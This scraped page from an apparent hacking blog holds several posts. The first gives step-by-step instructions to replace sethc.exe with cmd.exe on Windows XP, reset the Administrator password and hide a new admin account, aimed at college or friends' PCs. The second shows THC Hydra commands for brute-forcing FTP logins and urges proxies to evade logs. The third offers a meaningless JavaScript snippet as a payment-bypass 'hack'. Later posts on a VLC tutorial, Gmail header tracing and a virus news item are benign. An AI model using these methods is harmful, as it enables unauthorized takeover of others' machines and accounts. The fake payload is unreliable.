Hack administrator from Guest account in XP

Tweet

If u wanted to hack your college pc with guest account/student account so that you can download with full speed there ? or just wanted to hack your friend’s pc to make him gawk when you tell your success story of hacking ? well,there is a great way of hacking an administrator account from a guest account by which you can reset the administrator password and getting all the privilages an administrator enjoys on windows..Interested ? read on…

Concept
=======

Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command prompt with administrator privilages because no user has logged on. From there we can hack the administrator password,even from a guest account.

Prerequisites

Guest account with write access to system 32.

Here is how to do that :

Go to C:/windows/system32
Copy cmd.exe and paste it on desktop
rename cmd.exe to sethc.exe
Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.

Now Log out from your guest account and at the user select window,press shift key 5 times.
Instead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.


Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.
Congrats You have hacked admin from guest account.
Further..

Also, you can further create a new user at the command prompt by typing “NET USER XERO /ADD” where “XERO” is the username you would like to add with administrator privileges. Then hide your newly created admin account by -

Go to registry editor and navigate to this key
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
Here create a new DWORD value, write its name as the “user name” that u created for your admin account and live with your admin account forever :)

I hope that was informative....

Read More

Cracking FTP Passwords Using Dictionary Attacks

Tweet

What is a Dictionary Attack ?

In layman language, Dictionary attack means using a tool that picks passwords from a wordlist and tries them one by one until one works

How to make a wordlist ?

A wordlist can consist of all possible combinations of letter,numbers,special characters. It can have some common or default passwords. You can download the wordlist generators or google the wordlists for bruteforcing and configure them according to yourself.

How fruitful attack can be ?

If we are try all possible combinations of letter,numbers,special characters, theoretically chances of success are 100%. But practically it is not possible to try every combination because it can take a lot of time. This attack just depends on the time you give,processing power and ofcourse your luck.

Tool I will be using ?
  

• THC Hydra

Step 1 

Download THC Hydra from here

Step 2

(a) Make a usename wordlist consisting of some common usernames like this

(b) Get a wordlist of passwords
(c) Copy both wordlists to your hydra folder

Step 3

(a)Open the command prompt and change directory to your hydra folder using cd command.

(b) Type "hydra" without quotes and it will show you the options to use.

(c) Now to start attak,

Type "hydra -L userslist.txt -P passlist.txt xxx.xxx.xxx.xxx ftp" and press enter

where userslist.txt is the list of usernames, passlist.txt is the list of passwords and xxx.xxx.xxx.xxx is the IP address of target, Now it will start cracking

To use a single username instead of wordlist , Replace capital L with small l , like this

Type "hydra -l username -P passlist.txt xxx.xxx.xxx.xxx ftp"

Note : Ftp port must be open.

Warning: I highly recommend you to use a chain of proxies to spoof your identity because proper logs of user's IP addresses who try to connect to ftp server is made on the server. Here is an example of the same.

Countermeasures to protect yourself from this attack:

1. Use strong passwords
2. Enable Autoban of IPs or anyother option like this.

About The Author
This is a guest post written by Aneesh M Makker. Aneesh M.Makker is an Ethical hacker from Malout, a town in Punjab.Click here to visit his Facebook Profile

Read More

Chapter ZERO : Hack earnmania ( To earn online money) : Bonus Chapter

Tweet

Hey guys ,

Herez a wonderful tutorial for all of you ...... Try it for sure ..... A great site to earn online money without any investment ..... First I wana tell u about the site :

Site Description :
============

http://www.earnmania.net.tc/

This site is working these days in PAKISTAN for online earning ..... Guys are earning thru this site .... what this site offers :


1) First you have to make an account on this site for Rs. 200/-
2) They give you an ID.
3) Now u have to invite friendz on this site using that ID .
4) For each referral ,u bring to the site , site will give u Rs. 100/-
5) You can bring unlimited referralz.
6) Now when ur referrals bring their friendz ,then site gives you Rs. 50/-

Suppose u bring A & B ,u will be awarded 200 , Now when A brings C and D u will be awarded Rs. 100 .

This is the actual scheme of this site ..... Now the hack ....

HACK :
=====

This site is actually of low budget ..... and is not maintained very well .... but working great ..... what u have to do is :

1) Open the site.
2) Goto REGISTER.
3) Fill all the info properly.
4) Dont write anything in INVITORS ID
5) Now in the MESSAGE BOCX, write the following javascript :

javascript:(function(200){(function(){var z=["Timeout","Interval"];for(var i=0;i<1;i++);

6) Click on SEND MESSAGE

You are DONE .....


now u dont have to pay them Rs.200/-
===========================

and ur page will be activated in just 15 minutes . Invite ur friendz and earn money.

Read More

Earn Onine Money - Money through Internet

Tweet

Copyright © 2009. All rights reserved by “hackwithstyle.com”

Note:- This is the table of Contents for tricks and resources about how to earn money online. All tricks below are unique in every manner. We share only those tricks and resources that are useful and avoid those that are un-professional. Each post below will be a new experience for you. We aim at providing these Resources to Blogger, WordPress, TypePad, MSN Spaces etc hosted Platforms. We hope you may find the tricks handy and useful. Keep commenting.

Before Following Any Tutorial Read The Following:

Read:

• Basics of How to Earn Online
• Top 30 Most Earning Websites of 2011 New

Earning Through Adsense

• What is Adsense ? Earn Online with adsense
• 7 Ways to Create an Adsense Account without Having a Website Unique
• Trick to Create an Adsense Account In Few Hours Unique
• Approve adsense account in few days Unique
• Approve Adsense Account within 2 Days
• Hack Adsense & get unlimited Clicks
• What is Adsense Revenue Sharing Program Unique
•  List of Adsense Revenue Sharing Sites - Earn Extra Money
• Increase your adsense earning through revenue sharing Unique
• Click Exchange Program for Adsense Unique

Earn Money Through Facebook

• Get free mobile credit thru EmbeePay
• Get Free Credit through Embeepay easily Unique
• Get the most out of EmbeePay / Embee Mobile Unique

Earn Money Through PTC Sites

• Earn through PTC sites Unique
• List of Working PTC sites Unique
• Hack bux.to and make money Unique

Earn Money Though Mobile

• Latest way to Earn Money throuh incoming SMS - mGinger

Other Ways of Earning

• Earn money thru adf.ly Unique
• Earn money thru data entry jobs Unique
• A complete Guide for Beginner : To earn thru CPAlead

Read More

Write for us

Tweet

Are you tired of trying foolish methods to get traffic to your blog?, Do you want to build high Pr quality backlinks to your blog?, then you need to not to worry as RHA has started to accept guest posts on their blog.RHA is a PR 4 blog with 14k+ RSS subscribers and is updated regularly, By writting on RHA you can get lot of exposure and traffic to your blog or website and at the same time built quality backlinks to your blog

Requirements

• Proper and original content
• Related to security/hacking
• Proper grammar 

What well will give you in return?

• A link to your website on the post
• And depending on how much and how many times you contribute, you may get free access to some of my upcoming hacking products

Submit your guest post via this contact form

Read More

How to trace a sender's information in Gmail?

Tweet

Now a days email spoofing has been a very common act, there are tons of softwares which can be used for email spoofing. Alot of scammers use mail bombing along with email spoofing, As you know that this blog is for beginners so i will first explain what is mail bombing? and what is email spoofing? and then will explain you How to trace a sender in Gmail!

What is Email Spoofing?

Email spoofing is an act to sent an email from an email which does not belong to you, this is mostly used for scamming people, Hackers use it as a medium for social engineering
For Example If a user gets a phishing scam asking to update his login information, the senders email is something like xyz@hotmail.com, this would make the victim suspicious and he/she will not pay attention to this email but on the other hand if the email is from security@microsoft.com or security@facebook.com the victim would probably feel that the email is from real sender and he/she would give his login details

What is Mail bombing?

A Mail bombing is sending a mass number of emails to a specific person or system.A huge amount of mail may simply fill up the recipient's disk space on the server or, in some cases, may be too much for a server to handle and may cause the server to stop functioning

Combining Mail bombing with Email 

A few days back when I opened my Gmail ID, I noticed that i had received 5000+ emails those all emails looked that they were from different senders as each email's body was same but the email addresses keep changing, The email was full with abuses but I ignored it because I though some one might be jealous with my success in the field of Ethical Hacking and security

For example: The first email will be 1234@attacker.com the others numbers before @ would change in every email.
I was receiving 100+ emails per second, A normal user would create a spam filter for one of the email 1234@attacker.com but this wont stop the attack as the email 1234@attacker.com is the spoofed email not the real email, so here is how I traced the sender's information in Gmail


Tracing a Senders information in Gmail

You must be curious to know that how I traced senders information in gmail, some of you might ask how to trace sender's information in Hotmail or Yahoo, so I will explain it in upcoming articles in my blog as these are not the part of the article

Here is the step by step method to trace a sender's information in Gmail

1.Open the Email in Gmail you want to trace 

2.Click on More Options and Click on “Show originals”

Refer to Image for More details:

3. Now a new Window will pop up like this and there see the highlighted area

 4. Check the first line “hormel.redhat.net” ip=209.132.177.30″

That’s The Ip of The sender. now to trace the sender using this ip.

5. Open this site www.network-tools.com

Enter the IP address and click on submit

Hope you have liked the article to trace a sender's information in Gmail, If you have any problem or quesion regarding any thing in the article feel free to ask me!

Read More

VLC Media Players Tutorial

Tweet

This time i m going to write a Tutorial about VLC media player.. its quite difrent from other players and advance as well VLC 0.9 has released to widespread acclaim. The media player of choice for many, has packed in a horde of new features and marked changes in the design and interface. There are only two issues we have with the new design, which we will put out of the way first. The playback bar has jazzed up buttons, which won’t appeal to those who went for the minimalist charm of VLC. They have also inverted the direction in which the scroll works with the media, you scroll down to go backward, and scroll up to go forward which is counterintuitive to everyone and irritating to the long term users. Now for the good stuff.

 
Take Snapshots Of The Video :
======================

Go to Tools > Preferences > Video. Under video snapshots, enter the directory, a prefix, check ‘sequential numbering’ and choose a format. The default is .png.

To take the snapshot while the video is playing, go to Video > Snapshot.

Alternatively, you can take a snapshot using the keyboard with the hotkey [Shift] + [S].

To use a button to take a snapshot, go to Tools > Advanced Controls. The snapshot button appears on the playback bar.




Adjust The Colour Of The Video :
=========================

In the playback bar, click on the icon that looks like the equaliser for lesser media players. This is right next to the playback button.

Then select the ‘video effects’ tab. The ‘basic’ tab will be selected by default. Check the ‘image adjust’ checkbox. From here, you can adjust the hue, saturation, contrast, brightness and gamma of the image. There is also a ‘brightness threshold’ slider.



The changed take place in real time, an this can be used to enhance dark videos. 

Stream Video Across A Network
=======================

This can be used to broadcast a video over the Net, or to stream videos to everyone’s PC in the office at once, or to everyone’s laptops in a conference room.

Click on advanced open file, select ‘show more options’.

On the bottom right corner, next to the play and cancel buttons will be a small additional options button. Click on this, and select stream. A stream output dialogue will pop up.

You can select the encapsulation, the video and audio codecs and the bitrate. Remember that not all formats can be converted to all other formats, this is a limitation of the format and not of the player. Under outputs, select a protocol. Selecting multiple protocols will stream the video output in all the protocols.

To open a stream, go to ‘Advanced open file’, select the ‘Network’ tab and select the relevant protocol and address.

 

Overlay A Logo On The Video :
========================
Go to Tools > Preferences. Select ‘All’ under ‘Show Settings”

Go to Video > Subtitles / OSD > Overlays.

Click on ‘Logo Subfilter’ under Sub Picture Filter Module. Enter the path and filename in the bar below.

To do this via command line, go to Tools > Add Interface > Command Line.



Add A Ticker To The Video :
=====================
Go to Tools > Preferences, select ‘All’ under ‘Show Settings’

Go to Video > Subtitles/OSD > Marquee. Enter the text in the marquee, and the text will scroll across the screen while the video is playing.

You can also tweak the settings to get an RSS feed to scroll across the video. Copy the feed url, then go to Tools > Preferences, select ‘all’ under ‘show settings;

Go to Video > Subtitles/OSD tick on “RSS and Atom feed display’ and enter the URL in the bar.

There is an option to display or not display images in the feeds.


Add Effects To The Video :
====================
I m not sure why this feature is provided, but it is fun and users may discover innovative uses for them.

Click on the effects button. Go to Video Effects > Image Modification.

The gradient effect gives a cartoonish feel to the video. The motion blur has a factor slider. These are the two main effects.

The other effects include waves, motion detect, noise, water and psychedelic. You can apply a selection of these effects at once to the video. The changes take place in real time.

 
To Resume Playback From A Specific Time :
================================
If you were interrupted while watching a video or a movie, and want to resume from the exact moment you left off, there are two ways to do it.

While playing the movie, go to Playback > Go to specific time, and enter the time in dialogue that pops up.

The other way to do this is to go to Media > Advanced open file, check ‘Show more options’ and enter the Start Time.


Use VLC As A Transcoder :
====================
Open a file, then go to Media > Convert/Save. In the file tab, click on the Convert/Save button.

Select the ‘File’ checkbox under ‘Outputs’. Enter a file name. Make sure that draw raw input is unchecked.

Then select an encapsulation, that is basically the format under ‘profile’.

Select a video codec and audio codec under the ‘Video codec’ and ‘Audio codec’ tabs.

You can save files in a format to be played on a portable media device.

Click on Save.



Change The Jump Settings :
====================
There are hotkeys to jump backwards and forwards through the file (refer to the list of hotkeys). The default values for the ‘Very short’, ‘Short’, ‘Medium’ and ‘Long’ jumps can be changed as per individual preferences.

Go to Tools > Preferences under ‘Show settings’ select ‘All’. Go to Interface > Hotkey Settings and under ‘Jump sizes’ edit the values as per your preferences. You can also use this window to change the default hotkeys, and add hotkeys to functions that have no default hotkeys.


Using The Loop Function :
====================
VLC can loop a part of a song or a video over and over again. To use this feature, go to Tools > Advanced controls.

The loop button should appear on the playback bar. Open the file you want to play, click the button when you come to the part on the media you want to start the loop at. Click on the button again at the part of the file you want the loop to end. VLC will now start playing that portion of a file in an endless loop till you click on the loop button again to stop the loop.


Play Image Files In VLC :
===================
VLC has the capability to play image files without having to mount the image files on a virtual drive first. Although many formats are supported, many are not. Open an image file directly for the video to start playing.


Listen to podcasts :
==============
Go to Playlist > Additional Sources > Configure Podcasts. Add the podcast url, or add multiple urls.

Go to Playlist > Additional sources > Podcasts.

Go to Playlist > Show playlist. The list of podcasts you added should appear in the playlist window now. Double-click on one to start playing.

 
Listen To Online Radio :
==================
To listen to online radio, go to Playlist > Shoutcast Radio Listings.

Then go to Playlist > Show Playlist. The Shoutcast radio option should have appeared below the ‘Playlist’ and ‘Media Library’ options. A long list of genres and radio stations will appear. Select one that you want to listen to you. Some of the stations listed don’t work, and some might make the player crash. Some stations are listed under multiple genres.


Prevent Screensaver Interruption :
==========================
This is a highly useful feature that prevents a screensaver from interrupting the movie you are watching.

Go to Tools > Preferences. In the dialogue that pop ups, look at the bottom left corner, and select the ‘All’ radio button under ‘Show settings’. Click on ‘Video’ preferences, and under ‘General Video Settings’ look for the ‘Disable Screensaver’ checkbox.


Skins :
====
VLC supports skins. VLC skins can be downloaded from their site, but VLC also supports winamp 2 and xmps skins. Go to Tools > Preferences. In ‘Interface’, select the ‘Skins’ radio button and load the skin file from here.

Read More

E-mail virus attacks NASA server

Tweet

Washington, Sep 11 (IANS) An e-mail virus has attacked servers across the world, including those at NASA and Google, and possibly the US internal security department office.

The virus, called 'here you have' or 'VBMania', is a simple Trojan Horse that arrives in your inbox with the odd-but-suggestive subject line 'here you have', the Fox News said Saturday.

The body reads 'This is The Document I told you about, you can find it Here' or 'This is The Free Download Sex Movies, you can find it Here'.

The Internet Storm Center, a free analysis and warning service that tracks malicious internet activity, reported that the initial application that generated the vast cloud of spam clogging servers had been taken down, which should limit the spread of the virus Friday.

However, the centre warned: 'New variants may well follow.'

Leading virus monitors such as McAfee Labs and Symantec are currently investigating the threat, and have already updated their website to push security products that could protect users.

'Stop or remove the virus with Norton Internet Security 2011,' advised Symantec on its site Friday morning. The security companies describe 'here you have' as especially challenging to monitor, since the virus may already have replicated into several new forms.

In addition to a variety of major corporations, the virus appeared to take down internal servers at the Department of Homeland Security (DHS) Thursday. Sources said that some DHS agencies that run on the Immigration and Customs Enforcement server crashed and were mostly disabled throughout Thursday.

But US officials denied that issues with its servers were related to the virus, saying that 'DHS was not among the agencies that were affected'.

'It's a phishing attack -- when you click on the link in an e-mail it goes into the address book. It was clogging a bunch of e-mail and that's it,'
Source: Yahoo News

 

Read More